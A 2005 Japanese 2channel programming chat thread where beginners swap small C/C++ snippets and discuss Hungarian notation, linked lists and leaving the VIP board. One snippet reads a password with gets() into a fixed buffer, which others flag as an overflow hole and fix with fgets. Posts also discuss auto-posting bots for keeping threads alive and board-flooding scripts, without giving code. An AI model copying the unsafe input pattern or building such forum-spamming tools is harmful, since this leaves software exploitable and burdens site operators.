3 :
デフォルトの名無しさん :2005/11/17(木) 01:31:39
じゃっかる
6 :
デフォルトの名無しさん :2005/11/17(木) 01:32:59 BE:189534645-#
新スレを見失ったに20レス
9 :
デフォルトの名無しさん :2005/11/17(木) 08:56:29
みんなここだお(^ω^;)
10 :
デフォルトの名無しさん :2005/11/17(木) 08:56:34
>>1 かばやろう!
スレタイに「2」って付けろい。
11 :
デフォルトの名無しさん :2005/11/17(木) 09:18:02
糞スレ
12 :
デフォルトの名無しさん :2005/11/17(木) 09:21:51
13 :
デフォルトの名無しさん :2005/11/17(木) 09:27:12
前スレまとめ ■英語出来ない奴は来るな ■初心者は来るな ■Be使用者は来るな ■コテは来るな ■VIPPERは来るな
14 :
デフォルトの名無しさん :2005/11/17(木) 09:45:28
このスレの方向性 ■英語できない奴とか大歓迎 ■超絶初心者も大歓迎 ■be使用者は死ね ■コテは死ね
パートスレうぜー
16 :
15 :2005/11/17(木) 11:04:04
VIPと間違えました。
17 :
デフォルトの名無しさん :2005/11/17(木) 11:13:53
■メル欄に小細工する奴はキモイ
■同意
19 :
デフォルトの名無しさん :2005/11/17(木) 15:54:49
ん?vip移転した?
20 :
デフォルトの名無しさん :2005/11/17(木) 15:56:52
ex10鯖はpingの応答有りだけど・・・
21 :
デフォルトの名無しさん :2005/11/17(木) 16:01:24
ex14準備中みたい・・・
実質part17ぐらいか ム板に移ってから流れ速いな
23 :
デフォルトの名無しさん :2005/11/17(木) 18:34:25
4スレ目だろ
24 :
デフォルトの名無しさん :2005/11/17(木) 18:52:13
#include <iostream> class HelloWorld { public: HelloWorld() { std::cout << "Hello, World." << std::endl; } } helloWorld; int main() {}
25 :
デフォルトの名無しさん :2005/11/17(木) 18:58:49
#include <stdio.h> #include <stdlib.h> int main() { printf("あなたのOSは%sです。\n", getenv("OS")); return 0; }
26 :
デフォルトの名無しさん :2005/11/17(木) 19:02:00
27 :
デフォルトの名無しさん :2005/11/17(木) 19:06:09
#include <stdio.h> #include <stdlib.h> int main() { char *os; os=getenv("OS"); if (os!=NULL) { printf("あなたのOSは%sです。\n", os); } else { printf("あなたのOSは(´・ω・)カワイソスです。\n"); } return 0; }
28 :
デフォルトの名無しさん :2005/11/17(木) 19:10:04
29 :
デフォルトの名無しさん :2005/11/17(木) 19:15:52
#include <stdio.h> #include <stdlib.h> int main() { char *os; putenv("OS=VIPクオリティ"); os=getenv("OS"); if (os!=NULL) { printf("あなたのOSは%sです。\n", os); } else { printf("あなたのOSは(´・ω・)カワイソスです。\n"); } return 0; }
#include <stdio.h> #include <string.h> int main(void) { char pass[20]; printf("パスワードを入力してください:"); gets(pass); if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン"); else printf("たわけ"); return 0; }
31 :
たわけ :2005/11/17(木) 19:40:15
32 :
デフォルトの名無しさん :2005/11/17(木) 19:41:00
>>30 バッファオーバフローによりプログラムの実行権限を乗っ取られる脆弱性があります。
(σ・∀・)σgets
#include <stdio.h> #include <string.h> int main(void) { char pass[20]; printf("パスワードを入力してください:"); fgets(pass, 19, stdin); if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン"); else printf("たわけ"); return 0; }
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン"); ↑の括弧内の条件の中にある「!」が最初にある場合は なんて訳せばいいんですか?
>>35 !は否定。〜でないときとでも言えばいい。
ただ、strcmpは一致すれば0を返す仕様だから、
!strcmpは熟語的に「文字列が等しければ」とでも思っておくのが良いと思う。
37 :
スーパーハカー :2005/11/17(木) 20:00:41
//環境変数をブルートフォースアタックで解析 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> int main() { char *alnum="0123456789abcdefghijklmnopqrstuvwxyz"; int i, num; char hensuu[10]; char *value; for (i=0 ; i<pow(36,4) ; i++) { num=i; strcpy(hensuu, ""); while(num!=0) { sprintf(hensuu, "%s%c", hensuu, alnum[num%strlen(alnum)]); num/=strlen(alnum); } value=getenv(hensuu); if (value!=NULL) { puts(value); } } return 0; }
>>36 丁寧に答えて下さってありがとう御座います!!
strcmpが0を返す事を利用するとは参りましたw
40 :
デフォルトの名無しさん :2005/11/17(木) 20:09:48
プログラム作るのって何ですればいいんですか?
42 :
デフォルトの名無しさん :2005/11/17(木) 20:13:59
43 :
デフォルトの名無しさん :2005/11/17(木) 20:17:07
46 :
デフォルトの名無しさん :2005/11/17(木) 20:28:42
独習C終わた。2周した。疲れた。次は独習C++だ。
テラヤサシス
誤爆スマン
49 :
デフォルトの名無しさん :2005/11/17(木) 23:07:47
いや俺も優しいと思うな
50 :
デフォルトの名無しさん :2005/11/18(金) 07:18:53
>>40 とりあえず、コンパイラをインスコせなならん
>> 50 const char* に何度も strlen なぜそこで使うか pow 毎回 sprintf とか。
53 :
デフォルトの名無しさん :2005/11/18(金) 18:25:30
VIPPERへの課題:RFC 3091を実装せよ。
>>53 >コネクションが確立されると、サーバはデータのストリームとして小数点に続く
>最上位の桁から始めて一度に円周率の一桁ずつを送信する
>これはクライアントがコネクションを閉じるまで続く
なんだこのDoSの温床wwwwww
>>54 ちょwwwおまwww
コネクション繋ぎっぱなしにするだけす
text/plan+Keep-Aliveでどうにかなる気ガス
#ただ何でキャッシュを使わない?
56 :
デフォルトの名無しさん :2005/11/18(金) 19:02:22
言ってる事が意味不明…(´・ω・`)
あれ?このスレC言語スレ?
59 :
デフォルトの名無しさん :2005/11/18(金) 19:25:50
ただの雑談スレです
60 :
デフォルトの名無しさん :2005/11/18(金) 19:55:05
C言語を一通り勉強しおえたんだ。まぁ、基本だけなんだが。で、次はC++にチャレンジする。 で、Visual C++はWindowsアプリケーションが作れると聞いたんだが、でもC++だってライブラリが用意されてるからGUI作れるよな。 じゃあこの2つは一体何が違うんだ?
61 :
デフォルトの名無しさん :2005/11/18(金) 19:55:08
初心者が入り込めなくなる話題は避けましょうね(・∀・)
>>60 Visual C++ はマイクロソフトのC++開発環境一式の名称
C++はJavaと違ってGUIの標準がないから
MFCとかVCLとかQtとか使うことになる
63 :
デフォルトの名無しさん :2005/11/18(金) 20:00:30
じゃあこのスレでGUIの標準作ってやろうぜ。
64 :
デフォルトの名無しさん :2005/11/18(金) 20:05:14
C言語にHello world!で勝負を挑んでみたけど出来たバイナリのサイズが一緒で引き分けだった・・・
65 :
デフォルトの名無しさん :2005/11/18(金) 20:07:06
66 :
デフォルトの名無しさん :2005/11/18(金) 20:08:36
OSでも作りたいのならC言語やれ
TOMOYO Linuxになんて負けないもっと萌えを追及した ディストリビューションでも誰か作ってくれよ
68 :
デフォルトの名無しさん :2005/11/18(金) 20:37:25
ライブラリって便利すぎて卑怯だよな ソートするやつとか
72 :
デフォルトの名無しさん :2005/11/18(金) 23:22:37
char c; for(c=0; c<127; c++) if(isprint(c)) printf("%c", c);
オンラインゲームの方はどうなった?
>>55 常時はってるかは関係なく、コネクションはりまくって
パケット捨てまくれば立派な DoS 攻撃どす。
ってか、ジョーク RFC にマジレス ( ´・ω・)カコワルス
76 :
デフォルトの名無しさん :2005/11/19(土) 07:19:57
VIPのスレまた落ちた
落ちるの速いよ。 最後の書き込みは 05:52 だったぞ。 なんなんだ。
うはwその速さじゃ時の賢者ホッシュでも保守は無理ぽ。
こっちでやってもいいけど住民がなぜかあまり被ってない気がしないでもないわけでもないかもしれない。
('ω`) ◆YDnNOS/Dosは、どこ行った?www
81 :
デフォルトの名無しさん :2005/11/19(土) 10:20:46
ひょっこり出てくるなら名前出すなよ
82 :
デフォルトの名無しさん :2005/11/19(土) 10:29:19
名無しになってるです
俺はこっちに移ってきた。 いまのVIPではプログラムなんで出来ね
てか寒い 冬でも暖かくなるプログラム作って
>>84 スレッドを最大数立てて、全部∞ループで
三角関数などの計算コストの高い処理を繰り返せ
きっと暖かくなる
今、VIP落ちるの早いっぽい
どっかで乱立祭りでもやってる?
91 :
デフォルトの名無しさん :2005/11/19(土) 13:10:58
>>88 えええwwwwもう落ちたのかよwww
やってらんねww
自動保守プログラム誰か使ってなかった? 最終書き込み時間見て書き込むやつ
規制ぬるくなったから落ちるのは仕方ないだろ 需要がなきゃ落ちるのは定めだからな
>>93 age2chだっけ?ググれば出てくるだろ?
age2ch 一時間単位でしか指定できないお 一時間じゃ間に合わないお
age2chをこのスレで改良するとか
98 :
デフォルトの名無しさん :2005/11/19(土) 15:12:03
10人でずらして使えば6分に一度書き込めるじゃん
また落ちたなw
age2chはDelphiで作られています
101 :
デフォルトの名無しさん :2005/11/19(土) 16:15:52
また落ちたがな(´・ω・)
102 :
デフォルトの名無しさん :2005/11/19(土) 16:22:31
スレに何送れば書き込めるの?
104 :
デフォルトの名無しさん :2005/11/19(土) 16:27:46
悪用されない?
そりゃされるさ。 age2chだって出た当初は運営から使用禁止勧告がでてたんだ。
つうかage2chのCUI版使えば1分単位で保守できるけどな。
VIPのスレ保守用に欲しい。
109 :
デフォルトの名無しさん :2005/11/19(土) 16:46:57
じゃあ役割分担してみんなで作ろうぜ。
>>107 じゃあage2ch使えばいいじゃん。わざわざ新しく作る意味ないね。
じゃあ俺なにやればいいの?
作るとなるとWinSock使うのかな。 DelphiでIndy使ってGetしかしたことないからPost知らん。
あ、hide押すとウインドウを隠す(タスクバーなどにも表示されない)からタスクマネージャーから終了させる必要があります
>>114 それじゃあ汚いけどソース晒そうか?
ていうかage2ch.pl使う人がいればそれでいいんだけど
別に今から新しいの作っても楽しそうだけど
保守ってjavascriptじゃできないの?
javaでsocket通信できたっけ
119 :
デフォルトの名無しさん :2005/11/19(土) 16:55:46
118だけどjavascriptね
>>113 IdHTTP.Post(URL, PostData:TStringList);
zip
一つのファイルをzipにして意味あるの?
Delphi嫌だからActiveBasicで作ろうよ。
126 :
デフォルトの名無しさん :2005/11/19(土) 17:00:12
私はDelphi知らないですが、Delphiはネットワークにデータを送るとき ホストバイトオーダとかネットワークバイトオーダとか 気にするんですか?
それはdelphiとか関係なく気にしないといけないんじゃないの
128 :
デフォルトの名無しさん :2005/11/19(土) 17:39:07
>>124 汝にフールプルーフという言葉を授けよう。
それは違うだろ
禁止勧告でてるなら他の手段かんがえたほうが
何らかの手段でVIPに延命させたとしても保守レスばかりじゃな…
おまいらwが足りませんよ
133 :
デフォルトの名無しさん :2005/11/19(土) 18:09:35
まあなんだ FreeMacro!
134 :
デフォルトの名無しさん :2005/11/19(土) 18:25:29
プログラム必死こいて作ってると、スレ読まなくなってスレ落ちる(つД`)
135 :
デフォルトの名無しさん :2005/11/19(土) 18:29:07
おまいらはプログラムよりおもしろいライセンスを考えろ ソースを商用利用する場合は作者のサイトにアナル画像をうpしてくださいとか
いや、それだと法律に引っかからないか?
ネタにマジレスカコワルイ
笑点なみにレベルの低いネタだな
140 :
デフォルトの名無しさん :2005/11/19(土) 18:58:42
>>136 必ず配布ファイル群に
「僕は神山満月ちゃん!」と叫んだ音声ファイルを含めること
.wav .mp3 .ogg等
たわけ
142 :
デフォルトの名無しさん :2005/11/19(土) 19:32:42
143 :
デフォルトの名無しさん :2005/11/19(土) 20:01:44
2ちゃんねるのDATを読み込んでテキストに整形するプログラム作ったんだけど欲しい?
>>143 JaneだとDatで保存されてしまうから重宝するよ
こうやまみつき
U15板へどうぞ
DAT程度数行のスクリプトで
149 :
デフォルトの名無しさん :2005/11/19(土) 20:18:52
うpしようと思ったけどWin向けに修正が必要だ・・・
>>143 プログラミング暦どれくらいで、それを作れるようになりましたか。
おまえら本当に負けず嫌いだなw
オレオレ大王スレ
154 :
デフォルトの名無しさん :2005/11/19(土) 21:55:24
っで結局なに作るんだ?
目玉焼き
どう見ても玉子焼きです ありがとうございました
157 :
デフォルトの名無しさん :2005/11/19(土) 22:05:00
160 :
143 :2005/11/19(土) 22:29:06
これCじゃねぇ
D言語?
D言語かよ(゚听)イラネ
D言語ってジョークだとおもってた
D言語ってどうなんだ? 業務的分野じゃ聞いたことがない。
D言語でもなんでもいいが 構造体の名前の頭文字が大文字だったり小文字だったりするのはやめてくれ。 気持ち悪い。
>>165 そりゃ個人が作ってて、まだ仕様もきっちり決まってない様な言語を業務で使われたらたまらんわい。
どうでもいいが、Copyrightは普通ソースの頭に説明と一緒に書くものだと思うんだが
>>168 あれって個人が作ってるのか?それなりに人気のRubyとはえらい違いだなwwww
Rubyは時流に乗って今や世界の4大スクリプトだもんな、スゲーよ Railsのおかげとはいえ
172 :
143 :2005/11/19(土) 22:57:23
>>170 一応会社になってるけど中の人は一人だった希ガス
Copyrightは・・・
つーかD言語でOSを作ろうとしてる人か
VIPまた落ちたぞ
もうだめぽ・・・
エロゲとか2ちゃんねるブラウザとか勉強会とか全部こっちでやるのか?
vip臭をここで出さなければここでやってもいいよ
もうVIPは駄目だな
179 :
デフォルトの名無しさん :2005/11/19(土) 23:07:05
ファイルを暗号化するプログラムを書いているんですがコンパイルして実行してみると 問題が発生したためとの趣旨で終了させられます。 #include<stdio.h> #include<stdlib.h> #include<string.h> #include<dir.h> main(int argc,char*argv[]){ char ch; FILE *fp; FILE *wfp; char filename[256]; char outfilename[256]; char key[128]; int keylen; int i=0; //原文ファイル名の決定 if(argc > 1){ strcpy(filename,argv[1]); }else{ printf("ファイル名を入力してください>"); scanf("%s",filename); }
dir.hってなに?
181 :
デフォルトの名無しさん :2005/11/19(土) 23:09:29
誤爆したw
工エエェェ(´д`)ェェエエ工 せっかくだから最後まで上げてよ
おまえらソフトウェアに求められる品質の基準としてVIPクオリティーを定めないか?
>>179 scanf つかっちゃめー
使うなら、gets( char* dist ) か、fgets( char* dist, int length, FILE* in )。
187 :
143 :2005/11/20(日) 00:46:29
gets(2)だって大して変わらんだろw
windowsでgetsもfgetsも使うことは無い
>>186 それ品質の基準じゃなくてコーディング規約だから
>>188 だな。エディットコントロールに書き込ませてGetWindowTextだな。
むしろscanfよりgetsの方がたち悪いな
なぜ?vbしか知らない俺には全然分かりません
日本語しか知らない俺にも全然分からん
194 :
143 :2005/11/20(日) 01:06:57
>>192 fgetsでは読み込むサイズを指定するがgets, scanfは指定しないためメモリを破壊する。
そんな危険な関数を放置しているC言語標準化委員会なんて放っておいて MS独自拡張使おうぜ
11月19日の投稿数: 26,131 ニュー速VIP (15619) 実況headline (1181) モ娘(狼) (927) 速報headline (760) ニー速 (755) うひょー
scanfの%sなら空白きたら止まるからまだマシだが、getsなんて空白こようと無視するからな \nで止まるんだっけ?
198 :
143 :2005/11/20(日) 01:27:23
ファイルの終端まで読み込んだはず・・・
200 :
143 :2005/11/20(日) 01:34:34
改行でとまったか・・・orz
よく分からないがそんな危険なものがなんで実装されてるの? fgetsだけじゃだめなの?
使い方が簡単だから
gets(char *s, int size); こうすればいいじゃん それ以前の問題としてC言語は渡した配列のサイズを受け側で認識できないのが最大のセキュリティホール
>>203 それはみんな思ってることだ
逆に、その問題点を常に意識してプログラム書くから
他の言語に比べてロジックバグは少なくなるという。
それがいいことかと言われると正直Yesとはいいづらいけど
その辺の危機意識を身を持って感じた人間は
多言語を触るときに強いと思うお
>>206 できねーよ
C言語の実装をこういう風に変えたらいいじゃんっていう希望願望夢
208 :
デフォルトの名無しさん :2005/11/20(日) 02:07:47
オレならこうする!こうしました! って感じのvipper専用libc libvipcを作ればよくね?
基本的にはlibcのラッパーのように機能して #include <vip.h> 正直、libcの機能を体系的にまとめて編成しなおしたいという願望は みんな心の奥底に持っているんじゃまいか?
やっぱりCって基本なのかなあ・・・今までVBとかaspとかjavaしかやったことないけどCやらないとだめなのか
だめってことはないんじゃまいか
セキュアなライブラリはGNUやMSが用意してくれてる あとは名前統一するだけ
>>195 2005からはgetsやscanfのサイズ指定可能版も出たな
>>210 何が基本と言うことはない
いや、確かにCは基本かもしれないけど
重要なのは「言語は手段であって目的ではない」ということだお
どんな言語にも得手不得手はあるし、目的に応じて
言語を使い分けることはプロのプログラマとして当たり前田のキャプチュード
MSがセキュアなCライブラリを提供してくれてたとは知りませんでした。 勉強不足で申し訳ありません。 腹を切ってきます。
_s がつく関数?
今日はここでエウレカ待ち ^^ vipはもう駄目ぽ。。
218 :
デフォルトの名無しさん :2005/11/20(日) 06:28:08
今日のがっちりマンデーは幻冬舎の社長でるぞ
幻冬舎の社長は妙に熱い人だよね。 面白そうだけど、報道2001も見たいなぁ。 今日は平沼赳夫さんが出るみたいだし。
エウレカセブンやるぞ
まだだよ
もうすこしではじまっちゃうだろ!
実況行くか
よっしゃ、いくぞぉぅん
オワタ。世の中愛だとオモタ。 みんながんばろー (`・ω・´)
226 :
デフォルトの名無しさん :2005/11/20(日) 07:37:15
エウレカ実況でバーボンくらった件 もう寝る!
>>128 確かにexe踏んだら嫌な気分になるね
製作者からすれば安全なのわかってるから油断したよ
ぶひぶひ
変数名のことで質問です。 末尾が2つのnullで終わる文字列があって、今はその変数名のプリフィクスをszzにしています。 でも適当に考えたプリフィクスなので、ちょっと気持ち悪いです。 他に何か適切で一般的なプリフィクスはありますか?
Nullpo
そもそもハンガリアン記法ってM$自身も見捨てたやり方じゃなかったか? とゆうかまさにピッタリなスレがあるからそっち池
ハンガリアンはVBまでだっけか。
233 :
229 :2005/11/20(日) 14:55:04
>>230-232 サンクスです。
ハンガリアンはあんまりスマートな命名規則じゃないっていうのはよく聞きますね。
でも私はこれしか知らないぽ。MFCもいまだにハンガリアンだし・・
いまはラクダがなんちゃらっていうのが流行りなかな・・
ハンガリアン、便利だと思うがなあ、集団でソースいじるときは重宝してた
てか、.NET Framework作ったのってDelphi開発者でそ。 前身のVJ++が既にそうだったし。 .NETはハードウェアなどの概念を抽象化した仮想マシン・処理系だから 型を意識させる必要そのものがないと思う。
やねうらおさんの本に ハンガリアンを使わねばプログラマにあらず みたいなこと書かれてたから、それ読んだ後から ハンガリアンっぽい名前にしてます。。
型を強烈に意識しないといけないC言語では、ハンガリアンは有効な手段ってことなのかな。
C勉強中だがとくにハンガリアン知らなくて困ることが無いんだが
あと、ハンガリアン使ってたらなんとなく 頭よさげなプログラムに見えるw
240 :
デフォルトの名無しさん :2005/11/20(日) 17:26:15
>>238 それ、一人で規模の小さいものつくるんなら必要ないかもしれんが・・・・
241 :
デフォルトの名無しさん :2005/11/20(日) 17:27:11
>>242 原理だけ理解しておいて、STL使ったほうが楽だよ
>>243 そですね。STLのお勉強はまだしてませんが、
最後はそういうことになるかと思います。
でもでも、やぱ自分でサクサク作れるぐらいになりたぃぃ。
今知恵熱出てる (ノД`)
245 :
デフォルトの名無しさん :2005/11/20(日) 18:31:47
暗号化・復号化プログラムできたお まったく需要ないが自己満足ですはい。
247 :
デフォルトの名無しさん :2005/11/20(日) 18:40:19
>>242 ヘッダに書いてるようにそれはリストじゃなくてキューだから
FIFOのリストというとややこしいのでキューと呼んだ方がいいお
>>237 逆にC(とC++)は型に関して厳しいからハンガリアンは不要という説もある。
俺は基本的にpとhなんたら位しか使わない。
ハンガリアンの規則はペゾルドに載ってる MSの天才プログラマが好んで使ってたらしいから 凡人は下手に真似しないほうがいいのかも
251 :
デフォルトの名無しさん :2005/11/21(月) 01:18:00
ハンガリアンってやつが何なのか俺に四文字熟語で教えてくれ
愛玩太鼠
ガキ大将
洪牙利人。ma~お約束
テポドンってC言語でも作れるってきいたんだけど
#include "tepodong.h" int main(){ Tepodong tepodong = new Tepodong(); tepodong.target = Cityname.Tokyo; tepodong.fire(); return 0; }
ついでに deleteし忘れてるし。
たれ流し上等ってことじゃね?
ド低能スレ向きだな
newでインスタンス作ってるのにアロー演算子使ってないから コンパイルすらできんな
よく分かんないけど最初Tepodong *tepodongってしなくていいの?
ここはVIPPERの秘密研究所だし
D使いが慣れないことをしたらこうなるという見本ですた(´・ω・`)
このままだとVIPは馴れ合いカテゴリ行きだな
268 :
デフォルトの名無しさん :2005/11/21(月) 13:56:41
爆発するから解放する必要ねーよwww
269 :
デフォルトの名無しさん :2005/11/21(月) 14:14:15
VIPつまんね VIPがつまらなくなったのは馴れ合いスレが増えたからでなく、単に厨房が増えたせいだという事に気が付いた でもVIP以外やることないニート
270 :
デフォルトの名無しさん :2005/11/21(月) 14:19:11
VIP楽しス VIPが楽しいのは馴れ合いスレにいるからではなく、単に俺が厨房だったせいだということに気が付いた ゆえにVIP以外やらないニート
271 :
デフォルトの名無しさん :2005/11/21(月) 16:07:49
働けばいいじゃn
>>248 どもです m(__)m
FIFOがなんなのかわかんないんでググりましたよ!
Last In First Out のやつはスタックと呼んだ方がいいですかね。
双方向のリストは「双方向リスト」でおk?
273 :
デフォルトの名無しさん :2005/11/21(月) 19:47:12
VIPでFileSystem作ってみませんか?
なんのために?
275 :
デフォルトの名無しさん :2005/11/21(月) 20:15:16
なんか便利ツール作れよ C言語で簡単に拡張ができるツールだよ
276 :
デフォルトの名無しさん :2005/11/21(月) 20:17:22
>>274 例えば大量のファイルを高速に扱えるFileSystemとか。
277 :
デフォルトの名無しさん :2005/11/21(月) 20:26:16
つバイアグラ
279 :
デフォルトの名無しさん :2005/11/21(月) 20:30:22
超初心者勉強中です>< 他のクラスのデータメンバにアクセスしたいのだけど。 AクラスとBクラスは包含関係ではなくて、だけどBクラスは一時的にAクラスのあるデータメンバを知りたい。 例えば class A { private: double array[3]; } って感じなときに mainでAクラスのインスタンスとBクラスのインスタンスを作ったと後 BクラスのメソッドからAクラスのarray[3]を知るにはどうgetarrayを書けばいいのかしら。 Aクラスのデータメンバにbr* myBって持たせて mainで B myB;ってインスタンスを作ってもこの二つは別物だよね?? bakada ore
class A{ private double array[3]; double[3] getArray(){ return array; } } a; class B{ double[3] getArray(){ return a.getArray(); } } こんな感じじゃね?
BにAのポインタ持たせて class A{ private: double array[3]; public: double *getArray(){ return array; } }; class B{ private: A *myA; public: void SetClassA( A *p ){ myA = p; } double *getArray(){ return myA->getArray(); } }; メインで A myA; B myB; B.SetClassA( &myA ); とかやればB.getArrayでおkじゃね?
あ、すまん メインは myB.SetClassA( &myA ); で myB.getArrayだ
C言語さっぱりな俺に ポインタというものはどういうときに使うのか、素晴らしいところなどを 三行で説明していただけないか
ぬ る ぽ
287 :
デフォルトの名無しさん :2005/11/22(火) 00:06:22
例えばだ、お前が友達にVIPのスレを紹介するときに、VIPのスレのログ本体を渡すのではなく、VIPのスレのログのURLを渡した方が効率がいいだろ? それと一緒で、関数とかに変数の中身を渡すより変数のアドレスを渡した方が効率がいい。 ぬるぽ
>>280 普通に ^^
class A {
double m_doArray[3];
public:
A () {
m_doArray[0] = 1.1;
m_doArray[1] = 2.2;
m_doArray[2] = 3.2;
}
// m_doArrayのアドレスを返す関数
double * GetArray () { return m_doArray; }
};
class B {
public:
// Aのm_doArrayのアドレスを受け取って表示する関数
void DispAArray (const double *doAArray) {
printf("%f\n", doAArray[0]);
printf("%f\n", doAArray[1]);
printf("%f\n", doAArray[2]);
}
};
int main ()
{
A a;
B b;
b.DispAArray(a.GetArray());
return 0;
}
ポインタはまぁ参照のような物。 使わぬ方が良い過去の遺産品。 あるオブジェクトは値渡しした方が早いかもしれないし、あって無いような物。 ポインタや参照渡しの判断はコンパイラにさせた方が良い。
290 :
280 :2005/11/22(火) 00:32:42
291 :
デフォルトの名無しさん :2005/11/22(火) 00:37:48
292 :
デフォルトの名無しさん :2005/11/22(火) 00:56:19
293 :
280 :2005/11/22(火) 01:03:03
なんとかできた。arrayが多次元配列だと・・・頑張ってみよう
295 :
デフォルトの名無しさん :2005/11/22(火) 01:17:20
配列で扱う、っていまいち意味が分からない C言語にARRAY型はないし、配列を値渡しするのは無理だと思うが
初心者 何系の本見ればいいの??勉強するには おすすめ教えて!!
太陽系
298 :
296 :2005/11/22(火) 01:30:29
うんなわけねーだろ!! 初心者はPerllか?
何を作りたいかorやりたいかによる
300 :
298 :2005/11/22(火) 01:38:36
ファミリーベーシックでもやってろ
ファミリーベーシック今手に入らんだろw ググって画像見たが・・・ 難易度だけ教えてほしいな、かなり難しいのかい? 荒しプログラムって
Delphiならすぐ作れる ここの元スレでも作ってただろ
このスレ今日が初。 Delphi←ググってみる アリガd!
>>295 配列の形で参照たわしするんだよ
void unko( char vip[] );
ぶっちゃけポインタだけどな
306 :
デフォルトの名無しさん :2005/11/22(火) 05:07:52
暇だ なんか課題無い?
ポインタについて聞いた者だが すごく参考になった。ありがd
#include <glut.h> void display(void) { glClear(GL_COLOR_BUFFER_BIT); //V glBegin(GL_LINE_STRIP); glVertex2d(-0.9, 0.9); glVertex2d(-0.8, -0.9); glVertex2d(-0.7, 0.9); glEnd(); //I glBegin(GL_LINES); glVertex2d(-0.6, 0.9); glVertex2d(-0.4, 0.9); glVertex2d(-0.5, 0.9); glVertex2d(-0.5, -0.9); glVertex2d(-0.6, -0.9); glVertex2d(-0.4, -0.9); glEnd(); //P glBegin(GL_LINES); glVertex2d(-0.3, 0.9); glVertex2d(-0.3, -0.9);
glVertex2d(-0.3, 0.9); glVertex2d(-0.1, 0.4); glVertex2d(-0.1, 0.4); glVertex2d(-0.3, -0.1); glEnd(); glFlush(); } int main(int argc, char *argv[]) { glutInit(&argc, argv); glutInitDisplayMode(GLUT_RGBA); glutCreateWindow(argv[0]); glutDisplayFunc(display); glClearColor(0.0, 0.0, 0.0, 0.0); glutMainLoop(); return 0; }
311 :
デフォルトの名無しさん :2005/11/22(火) 07:10:42
ネトゲも前ズレなのか・・・
荒らしスクリプトは簡単過ぎて死ぬほど萎える。 んなもんHTTP/1.1のRFC読んでソケットいじれりゃ誰でも作れるんだよ。 くだらんもの作るな。
317 :
デフォルトの名無しさん :2005/11/22(火) 16:57:02
>>313 FTPクライアントなんか作ってみるか?
ちょwwwVIPPER臭い発動したらここVIPPERいなくなんじゃねwwww
VIPのプログラムスレどうなった
321 :
デフォルトの名無しさん :2005/11/22(火) 18:05:55
test
322 :
デフォルトの名無しさん :2005/11/22(火) 18:15:29
VIPのプログラムスレからきますた
なんかVIPで実験してるらしい
今のVIPじゃプログラムの勉強もする気にもならん
VIPに書き込むと他板に書き込めなくなるらしいな
327 :
デフォルトの名無しさん :2005/11/22(火) 19:11:33
プログラミングについて質問なんですがいいですか? プログラミングってなんですか?
>>327 お疲れのようですね。
今日は早く寝たほうがいい。
331 :
デフォルトの名無しさん :2005/11/22(火) 19:47:53
Cに慣れるとHSPできなくならね?('A`)
HSPってホット・スープ・プロポーズだっけ?
CになれてDelphiの使いにくいことといったら山の如し。 Delphiのほうが簡単だけど。
>>331 Cに慣れつつも、講義でやらされてるPascalを普通に出来てる俺がいるから安心汁
Cでできることが出来なくて無性に腹立つがな('A`#)
その次はオブジェクト指向へ移行する(できる)かが大きな課題だね C言語やってからオブジェクト指向へってのは結構つまづき易いし、 最悪、理解できずに難癖付け出す輩もいる オブジェクト指向は使えば使うほど開発効率あがるから、 いろんなものを大量生産できて楽しいお
>>335 そこで憂鬱本ですよ
あれはとてもわかりやすくていい
中々良書の見つからない設計段階を重視しつつも実装段階まで踏み込んでるし
むじゅい・・
339 :
デフォルトの名無しさん :2005/11/23(水) 08:02:06
340 :
デフォルトの名無しさん :2005/11/23(水) 09:47:07
>>335 んな馬鹿な。
オブジェクト指向は使えば使うほど依存度が増えて開発効率下がるよ。
使わなくて済むときにはOO使わないのがよいプログラム。
341 :
デフォルトの名無しさん :2005/11/23(水) 10:38:40
ここを見てC言語を始めたお。 そしたら今日やっと計算ドリル(足し引き掛け割り選択、問題数選択) の様な物を作れるまでになった。皆に感謝するお( ^ω^)
脳みそ絞って限界まで計算減らしたけど
前とあんま変わらんかった。激しく読みにくい orz
汎用性のまるで無い双方向リストクラス
ttp://www.vipper.org/vip145691.txt もうバグらなかったらいいってことにして、次に進む ヽ(`Д´)ノ
次は実用に耐えるだけの汎用性を考えなきゃ。
あー、どうしよ。。
>>336 おぶじぇくと志向っての興味あるんですが、
憂鬱本ってなんですか ><
>>342 汎用性を考えるとさらに複雑になるんだよなぁ
345 :
デフォルトの名無しさん :2005/11/23(水) 12:18:31
unix環境でC++が普及しないのは何でですか ハカーたちはオブジェクト指向なんか使わなくても引数・返却値・ポインタを駆使してオブジェクト指向と同様でかつ高速なコードを書くみたいな事きいたんですけど
346 :
デフォルトの名無しさん :2005/11/23(水) 12:36:04
C++を下手に使うと一枚岩のでっかいプログラムになって、 融通効かなくなるのよね。MFCなんかがいい例。
OOとは直接関係ないけど、テンプレートはいいよ。
継承全く使わず総称だけでもC++使う価値あり。
>>342 みたいなのは、std::listとstd:string組み合わせるだけで
リストの実装なんか何もわからなくても安全・高速・汎用的な
文字列リスト型ができるわけだし。
なにがいいかって、標準に従ってればドキュメント書かなくても
いいのが一番素晴らしいよなぁ〜
僕にはCとPerlで十分です
C++が遅いってイメージが大きいけど
Cを基準にして最悪でも+5%までに抑えるように設計されてるとか
>>340 ,347
それはどちらも下手な使い方をした例であって
下手な使い方を挙げたらきりがないお
>>348 のいうのはベターCだお
総称プログラミングをベターCとか言われると、 STL/boost使いはかなりカチンとくるよ!
>>348 STLを初めとするC++標準ライブラリは確かに素晴らしいけど
双方向リストぐらいは一度自力で実装してみないとダメな罠
一回自力で作れば、それぞれのデータ構造の利点・欠点も分かるだろうしな
オブジェクト指向な書き方しても毎回ほぼ1から書いてるんだけど変?
355 :
デフォルトの名無しさん :2005/11/23(水) 16:15:10
って言うかバカ
>>355 赤面しながら視線を逸らしてそのセリフを言うとツンデレっぽいぞ!
357 :
デフォルトの名無しさん :2005/11/23(水) 16:30:08
∩___∩ | ノ ヽ / (゚) (゚)ヽ | ////( _●_)ミ 彡、 |∪| l って言うかバカ ヽ ヽノ / /´ ヽ、r ̄ r ヽ、 ) ヽ、 ヽヽ と二_ノ_ノ
358 :
デフォルトの名無しさん :2005/11/23(水) 16:31:15
問題 catコマンドを書け。 ファイルの出力に低水準入出力を使うこと。
359 :
デフォルトの名無しさん :2005/11/23(水) 16:32:27
